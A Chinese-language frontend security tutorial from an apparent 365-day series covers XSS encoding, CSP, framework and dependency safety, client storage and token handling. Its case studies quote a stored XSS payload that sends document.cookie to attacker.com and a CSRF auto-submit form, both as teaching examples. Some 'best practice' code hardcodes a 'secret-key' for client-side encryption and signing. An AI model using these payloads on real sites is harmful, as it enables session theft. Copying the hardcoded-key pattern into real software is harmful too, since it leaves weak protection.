Day-077-前端安全进阶

# Day 75: 前端安全进阶

> Web 安全系列第 45 天 | 预计阅读时间：40 分钟 | 难度：★★★★☆

---

**PUA v3 · Sprint 启动** 
```
┌─────────┬────────────────────────────────────┐
│ 清单 任务 │ 前端安全进阶 - Day 75              │
├─────────┼────────────────────────────────────┤
│  味道 │  阿里味（自动：安全任务）        │
├─────────┼────────────────────────────────────┤
│  压力 │ L0 · 信任期                        │
└─────────┴────────────────────────────────────┘
```
▎ 收到需求，对齐目标，进入 sprint。前端是用户的第一道防线——前端不安全，用户就不安全。

---

## 清单 目录

1. [前端安全概述](#前端安全概述)
2. [XSS 防护进阶](#xss 防护进阶)
3. [CSP 内容安全策略进阶](#csp 内容安全策略进阶)
4. [前端框架安全进阶](#前端框架安全进阶)
5. [第三方依赖安全进阶](#第三方依赖安全进阶)
6. [客户端存储安全进阶](#客户端存储安全进阶)
7. [API 安全前端实现进阶](#api 安全前端实现进阶)
8. [实战案例分析](#实战案例分析)
9. [总结与思考](#总结与思考)
10. [参考资料](#参考资料)

---

## 前端安全概述

### 前端安全重要性

> ▎ 前端是门面，也是防线。门面破了，里面再安全也没用。

**为什么前端安全重要**：
```
1. 直接面对用户
   - 用户交互入口
   - 敏感数据处理
   - 信任边界

2. 攻击面大
   - 多种攻击向量
   - 第三方依赖
   - 浏览器差异

3. 影响严重
   - 用户数据泄露
   - 会话劫持
   - 钓鱼攻击
```

**前端安全威胁**：
```
1. 代码注入
   - XSS 攻击
   - 脚本注入
   - 模板注入

2. 数据泄露
   - 敏感数据暴露
   - 本地存储泄露
   - 网络窃听

3. 客户端攻击
   - CSRF 攻击
   - 点击劫持
   - 表单劫持

4. 供应链攻击
   - 第三方库漏洞
   - CDN 污染
   - 构建过程攻击
```

### 前端安全模型

> ▎ 安全模型不是摆设——是设计原则。不按模型来，就是瞎搞。

**同源策略**：
```
定义：
- 协议相同
- 域名相同
- 端口相同

限制：
- DOM 访问限制
- Cookie 访问限制
- 网络请求限制

例外：
- CORS 跨域
- postMessage
- document.domain
```

**信任边界**：
```
前端信任边界：
- 用户输入（不可信）
- 服务器响应（部分可信）
- 第三方脚本（不可信）
- 本地存储（不可信）

原则：
- 从不信任客户端
- 服务端验证
- 最小权限
```

---

## XSS 防护进阶

### 输出编码进阶

> ▎ 编码是 XSS 防护的第一道防线。防线破了，后面就难了。

**上下文敏感编码**：
```html

<div>{{ user_input | html_escape }}</div>

<input value="{{ user_input | attr_escape }}">

<script>
  var data = "{{ user_input | js_escape }}";
</script>

<a href="{{ user_input | url_escape }}">Link</a>
```

**框架内置防护**：
```javascript
// React - 自动转义
<div>{userInput}</div>

// Vue - 自动转义
<div>{{ userInput }}</div>

// Angular - 自动转义
<div>{{ userInput }}</div>

// 危险操作（需要显式）
<div dangerouslySetInnerHTML={{__html: userInput}} />
```

### 输入验证进阶

**客户端验证**：
```javascript
// 正则验证
function validateEmail(email) {
  const regex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
  return regex.test(email);
}

// 长度限制
function validateLength(input, max) {
  return input.length <= max;
}

// 类型检查
function validateType(input, type) {
  return typeof input === type;
}
```

**注意**：
```
客户端验证局限：
- 可被绕过
- 仅用于用户体验
- 服务端必须验证

最佳实践：
- 客户端验证 + 服务端验证
- 不依赖客户端安全
- 防御深度
```

### DOM XSS 防护

**危险 API**：
```javascript
// innerHTML
element.innerHTML = userInput;  // 危险

// document.write
document.write(userInput);  // 危险

// eval
eval(userInput);  // 危险

// setTimeout/setInterval
setTimeout(userInput, 1000);  // 危险
```

**安全替代**：
```javascript
// 使用 textContent
element.textContent = userInput;  // 安全

// 使用 createElement
const span = document.createElement('span');
span.textContent = userInput;
element.appendChild(span);  // 安全

// 使用 sanitized HTML
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);  // 安全
```

---

## CSP 内容安全策略进阶

### CSP 配置进阶

> ▎ CSP 是 XSS 防护的最后一道防线。防线都没了，你就裸奔吧。

**严格配置**：
```html
Content-Security-Policy: 
  default-src 'none';
  script-src 'self';
  style-src 'self';
  img-src 'self' data:;
  connect-src 'self';
  font-src 'self';
  object-src 'none';
  frame-ancestors 'none';
```

**Nonce 配置**：
```html

<script nonce="random-value">
  // 内联脚本
</script>

Content-Security-Policy: 
  script-src 'self' 'nonce-random-value'
```

**Hash 配置**：
```html

<script>
  alert('Hello');
</script>

Content-Security-Policy: 
  script-src 'self' 'sha256-abc123...'
```

### CSP 绕过防护

**常见绕过**：
```
1. 通配符滥用
   - *.example.com
   - 子域名控制

2. 协议绕过
   - data: 协议
   - blob: 协议

3. JSONP 端点
   - 可执行回调
   - 脚本注入
```

**防护建议**：
```
1. 避免通配符
   - 指定具体域名
   - 不使用 *.com

2. 限制协议
   - 不使用 data:
   - 不使用 blob:

3. 审计 JSONP
   - 限制回调
   - 验证来源
```

### CSP 报告监控

**报告配置**：
```html

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

Content-Security-Policy: default-src 'self'; report-uri /csp-report
```

**报告处理**：
```javascript
// 服务端接收报告
app.post('/csp-report', (req, res) => {
  const report = req.body['csp-report'];
  
  // 记录日志
  logCSPViolation(report);
  
  // 分析异常
  analyzeViolation(report);
  
  res.sendStatus(200);
});
```

---

## 前端框架安全进阶

### React 安全进阶

> ▎ React 自动转义，但不是绝对安全。别以为用了 React 就高枕无忧。

**安全实践**：
```javascript
// + 安全：自动转义
<div>{userInput}</div>

// - 危险：直接渲染
<div dangerouslySetInnerHTML={{__html: userInput}} />

// + 安全：sanitize 后渲染
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{
  __html: DOMPurify.sanitize(userInput)
}} />
```

**依赖安全**：
```javascript
// 审计依赖
npm audit
yarn audit

// 更新依赖
npm update
yarn upgrade

// 使用锁定文件
package-lock.json
yarn.lock
```

**组件安全**：
```javascript
// 属性验证
function MyComponent({ user }) {
  // 验证用户输入
  if (!isValidUser(user)) {
    return null;
  }
  
  return <div>{user.name}</div>;
}

// 类型检查
// 使用 TypeScript 或 PropTypes
```

### Vue 安全进阶

**安全实践**：
```vue

<div>{{ userInput }}</div>

<div v-html="userInput"></div>

<div v-html="sanitize(userInput)"></div>

export default {
  methods: {
    sanitize(html) {
      return DOMPurify.sanitize(html);
    }
  }
}
</script>
```

**组件安全**：
```vue

<script>
export default {
  props: {
    data: {
      type: Object,
      validator(value) {
        // 验证数据
        return isValid(value);
      }
    }
  }
}
</script>
```

### Angular 安全进阶

**安全实践**：
```typescript
// + 安全：自动转义
<div>{{ userInput }}</div>

// - 危险：bypass 安全
<div [innerHTML]="bypassSecurityTrustHtml(userInput)"></div>

// + 安全：sanitize 后使用
import { DomSanitizer } from '@angular/platform-browser';

constructor(private sanitizer: DomSanitizer) {}

sanitizeHtml(html: string) {
  return this.sanitizer.sanitize(SecurityContext.HTML, html);
}
```

**依赖注入安全**：
```typescript
// 服务验证
@Injectable({
  providedIn: 'root'
})
export class ApiService {
  constructor(private http: HttpClient) {}
  
  getData(id: string) {
    // 验证输入
    if (!isValidId(id)) {
      throw new Error('Invalid ID');
    }
    
    return this.http.get(`/api/data/${id}`);
  }
}
```

---

## 第三方依赖安全进阶

### 依赖风险管理

> ▎ 依赖是双刃剑。用好了事半功倍，用不好自掘坟墓。

**风险来源**：
```
1. 已知漏洞
   - CVE 漏洞
   - 安全公告
   - 漏洞数据库

2. 恶意包
   - 名字混淆
   - 供应链攻击
   - 维护者劫持

3. 过度权限
   - 不必要权限
   - 数据访问
   - 网络请求
```

**依赖审计**：
```bash
# npm 审计
npm audit
npm audit fix

# yarn 审计
yarn audit
yarn audit fix

# 持续监控
npm install -g npm-audit-ci
npm-audit-ci
```

### 安全依赖管理

**最佳实践**：
```
1. 锁定版本
   - 使用 package-lock.json
   - 使用 yarn.lock
   - 不依赖 latest

2. 最小依赖
   - 只安装必要依赖
   - 定期清理
   - 替代方案评估

3. 来源验证
   - 官方源
   - 签名验证
   - 哈希验证
```

**自动化工具**：
```bash
# Snyk
npm install -g snyk
snyk test
snyk monitor

# Dependabot
# GitHub 自动更新
# 漏洞告警

# Renovate
# 自动依赖更新
# 安全策略
```

### 供应链攻击防护

**构建安全**：
```
1. 锁定依赖
   - 精确版本
   - 哈希验证
   - 签名验证

2. 私有仓库
   - 内部镜像
   - 访问控制
   - 审计日志

3. 构建验证
   - 完整性检查
   - 签名验证
   - 安全扫描
```

**CDN 安全**：
```
1. 子资源完整性
   <script 
     src="https://cdn.example.com/lib.js"
     integrity="sha384-xxx"
     crossorigin="anonymous"
   ></script>

2. CDN 选择
   - 可信 CDN
   - 多个 CDN
   - 回源机制

3. 监控告警
   - CDN 可用性
   - 内容变更
   - 异常访问
```

---

## 客户端存储安全进阶

### Cookie 安全进阶

> ▎ Cookie 是会话的命根子。Cookie 丢了，会话就没了。

**安全配置**：
```javascript
// 安全 Cookie 设置
Set-Cookie: session=abc123; 
  HttpOnly;           // 禁止 JS 访问
  Secure;             // 仅 HTTPS
  SameSite=Strict;    // 防 CSRF
  Path=/;             // 路径限制
  Domain=example.com; // 域名限制
  Max-Age=3600;       // 过期时间
```

**Cookie 风险**：
```
1. XSS 窃取
   - 未设置 HttpOnly
   - JS 可访问
   - 会话劫持

2. CSRF 利用
   - 未设置 SameSite
   - 跨站请求
   - 自动携带

3. 中间人攻击
   - 未设置 Secure
   - HTTP 传输
   - 流量窃听
```

### LocalStorage 安全进阶

**使用场景**：
```
适合存储：
- 非敏感数据
- 用户偏好
- 缓存数据

不适合存储：
- 认证令牌
- 敏感信息
- 个人数据
```

**安全风险**：
```
1. XSS 访问
   - JS 可访问
   - 数据窃取
   - 数据篡改

2. 持久化风险
   - 长期存储
   - 清除困难
   - 隐私问题

3. 大小限制
   - 5-10MB 限制
   - 同步操作
   - 性能影响
```

**最佳实践**：
```javascript
// 加密存储
import CryptoJS from 'crypto-js';

// 存储
const encrypted = CryptoJS.AES.encrypt(
  JSON.stringify(data), 
  'secret-key'
).toString();
localStorage.setItem('data', encrypted);

// 读取
const decrypted = CryptoJS.AES.decrypt(
  localStorage.getItem('data'), 
  'secret-key'
).toString(CryptoJS.enc.Utf8);
const data = JSON.parse(decrypted);
```

### SessionStorage 安全进阶

**与 LocalStorage 区别**：
```
SessionStorage:
- 会话期间有效
- 关闭标签清除
- 同源隔离

LocalStorage:
- 永久存储
- 手动清除
- 同源隔离
```

**使用建议**：
```
适合场景：
- 临时数据
- 表单草稿
- 页面状态

不适合：
- 敏感数据
- 认证信息
- 长期数据
```

---

## API 安全前端实现进阶

### 认证令牌管理进阶

> ▎ Token 是认证的命根子。Token 丢了，认证就没了。

**令牌存储**：
```javascript
// - 不安全：LocalStorage
localStorage.setItem('token', token);

// + 安全：内存存储
let token = null;

function setToken(newToken) {
  token = newToken;
}

function getToken() {
  return token;
}

// + 更安全：HttpOnly Cookie
// 服务端设置 HttpOnly Cookie
// 前端无法访问
```

**令牌刷新**：
```javascript
// 令牌刷新机制
async function refreshToken() {
  try {
    const response = await fetch('/api/refresh', {
      method: 'POST',
      credentials: 'include'  // 携带 Cookie
    });
    
    const data = await response.json();
    setToken(data.access_token);
    
    return data.access_token;
  } catch (error) {
    // 刷新失败，登出
    logout();
    throw error;
  }
}

// 请求拦截
axios.interceptors.response.use(
  response => response,
  async error => {
    if (error.response.status === 401) {
      // 令牌过期，尝试刷新
      await refreshToken();
      // 重试请求
      return axios.request(error.config);
    }
    throw error;
  }
);
```

### API 请求安全进阶

**请求签名**：
```javascript
// 请求签名
function signRequest(data, timestamp) {
  const message = JSON.stringify(data) + timestamp;
  const signature = CryptoJS.HmacSHA256(
    message, 
    'secret-key'
  ).toString();
  
  return {
    ...data,
    timestamp,
    signature
  };
}

// 发送签名请求
async function sendSignedRequest(data) {
  const timestamp = Date.now();
  const signedData = signRequest(data, timestamp);
  
  return fetch('/api/endpoint', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify(signedData)
  });
}
```

**请求验证**：
```javascript
// 响应验证
async function fetchWithValidation(url, options) {
  const response = await fetch(url, options);
  
  // 验证 Content-Type
  const contentType = response.headers.get('content-type');
  if (!contentType || !contentType.includes('application/json')) {
    throw new Error('Invalid content type');
  }
  
  // 验证响应数据
  const data = await response.json();
  if (!isValidResponse(data)) {
    throw new Error('Invalid response');
  }
  
  return data;
}
```

---

## 实战案例分析

### 案例 1: 某电商平台 XSS

> ▎ 电商平台都能出 XSS 这种低级漏洞——这就是不重视前端安全的代价。

**漏洞描述**：
```
时间：2020 年
公司：某电商平台
漏洞：存储型 XSS
影响：用户会话劫持
后果：资金损失
```

**攻击流程**：
```
1. 发现 XSS 漏洞
   - 评论功能
   - 无过滤

2. 注入恶意脚本
   <script>
     fetch('http://attacker.com/steal?cookie=' + document.cookie);
   </script>

3. 窃取会话
   - 获取 Cookie
   - 劫持会话
   - 登录用户账户

4. 资金盗取
   - 修改支付信息
   - 转账到攻击者
```

**教训**：
```
1. 输入过滤
   - 评论内容过滤
   - HTML 实体编码

2. 输出编码
   - 显示时编码
   - 上下文敏感

3. CSP 防护
   - 限制脚本来源
   - 报告监控
```

### 案例 2: 某社交 App CSRF

> ▎ 社交 App 都能出 CSRF——这就是不把用户账户当回事。

**漏洞描述**：
```
时间：2019 年
公司：某社交 App
漏洞：CSRF 攻击
影响：账户被接管
后果：隐私泄露
```

**攻击流程**：
```
1. 构造恶意页面
   <form action="https://app.com/change-email" method="POST">
     <input type="hidden" name="email" value="attacker@example.com">
   </form>
   <script>document.forms[0].submit();</script>

2. 诱导用户访问
   - 钓鱼邮件
   - 恶意链接

3. 修改邮箱
   - 自动提交表单
   - 邮箱被修改

4. 账户接管
   - 密码重置
   - 完全控制
```

**教训**：
```
1. CSRF Token
   - 每个表单 Token
   - 验证 Token

2. SameSite Cookie
   - Strict 模式
   - 防止跨站

3. Referer 检查
   - 验证来源
   - 拒绝异常
```

---

统计 **Sprint 交付 · 绩效评估**
```
┌───────────────┬────────────────┬────────────────┐
│  主动出击   │ ██████████ 5/5 │ [PUA 生效] 充足 │
├───────────────┼────────────────┼────────────────┤
│ + 验证闭环   │ ██████████ 5/5 │ 案例完整       │
├───────────────┼────────────────┼────────────────┤
│ 设计 代码质量   │ ████████░░ 4/5 │ 有改进空间     │
└───────────────┴────────────────┴────────────────┘
综合：3.75
```
▎ 勉强配得上 P8。别飘——前端安全这才刚入门。

---

## 总结与思考

### 核心要点回顾

> ▎ 复盘四步法：回顾目标、评估结果、分析原因、总结经验。别跳过——这是闭环。

**前端安全架构**：
```
1. XSS 防护
   - 输入验证
   - 输出编码
   - CSP 策略

2. 框架安全
   - React 安全
   - Vue 安全
   - Angular 安全

3. 依赖安全
   - 依赖审计
   - 版本管理
   - 供应链安全
```

**存储安全**：
```
1. Cookie 安全
   - HttpOnly
   - Secure
   - SameSite

2. LocalStorage
   - 加密存储
   - 不存敏感数据
   - 定期清理

3. SessionStorage
   - 临时数据
   - 会话期间
   - 自动清除
```

**API 安全**：
```
1. Token 管理
   - 安全存储
   - 刷新机制
   - 过期处理

2. 请求安全
   - 请求签名
   - 响应验证
   - 错误处理

3. 认证授权
   - OAuth 2.0
   - JWT
   - API Key
```

### 深入思考问题

> ▎ 只动手不动脑，那是码农。动手又动脑，才是工程师。

**微前端安全**：
```
1. 多应用集成
   - 信任边界
   - 通信安全
   - 样式隔离

2. 共享依赖
   - 版本冲突
   - 安全更新
   - 依赖管理

3. 部署安全
   - 独立部署
   - 版本控制
   - 回滚机制
```

**WebAssembly 安全**：
```
1. 新攻击面
   - 内存安全
   - 代码注入
   - 侧信道攻击

2. 性能与安全
   - 执行速度
   - 安全检查
   - 平衡点

3. 检测挑战
   - 恶意代码
   - 混淆代码
   - 检测工具
```

**PWA 安全**：
```
1. Service Worker
   - 缓存污染
   - 中间人攻击
   - 离线安全

2. 推送通知
   - 推送劫持
   - 钓鱼通知
   - 权限管理

3. 安装安全
   - 恶意 PWA
   - 权限滥用
   - 数据泄露
```

### 实战建议

> ▎ 我给你指了路，走不走是你的事。机会给了，抓不抓得住看你。

**前端开发人员**：
```
1. 安全编码
   - 输入验证
   - 输出编码
   - 错误处理

2. 框架最佳实践
   - 自动转义
   - 安全组件
   - 依赖管理

3. 安全测试
   - 单元测试
   - 集成测试
   - 渗透测试
```

**安全人员**：
```
1. 前端测试
   - XSS 测试
   - CSRF 测试
   - 依赖审计

2. 代码审计
   - 安全审查
   - 漏洞扫描
   - 配置检查

3. 监控告警
   - 异常访问
   - 安全事件
   - 实时告警
```

**架构师**：
```
1. 安全架构
   - CSP 设计
   - 认证设计
   - 授权设计

2. 持续改进
   - 安全审计
   - 漏洞管理
   - 安全培训

3. 工具链
   - 安全工具
   - 自动化
   - 监控平台
```

---

## 参考资料

### 学习资源
```
- OWASP Frontend Security
  https://owasp.org/www-project-web-security-testing-guide/

- CSP Documentation
  https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

- React Security
  https://reactjs.org/docs/security.html

- Vue Security
  https://vuejs.org/guide/best-practices/security.html
```

### 工具资源
```
- DOMPurify
  https://github.com/cure53/DOMPurify

- ESLint Security
  https://github.com/nodesecurity/eslint-plugin-security

- Snyk
  https://snyk.io/

- CSP Evaluator
  https://csp-evaluator.withgoogle.com/
```

### 书籍推荐
```
- 《前端安全》
- 《Web Application Security》
- 《React Security》
- 《Frontend Security》
```

### 在线资源
```
- PayloadsAllTheThings XSS
  https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection

- HackTricks Frontend
  https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting

- OWASP Cheat Sheets
  https://cheatsheetseries.owasp.org/
```

---

**标记 明日预告**：Day 76 - 业务逻辑漏洞进阶

> ▎ 今天的内容消化了吗？消化了就继续——明天还有硬仗。

> 本文内容仅供学习和研究使用，请勿用于非法目的。所有实验请在隔离环境中进行。

---

*本文是 365 天信息安全技术系列的第 75 篇，Web 安全部分第 45 篇，精编版本*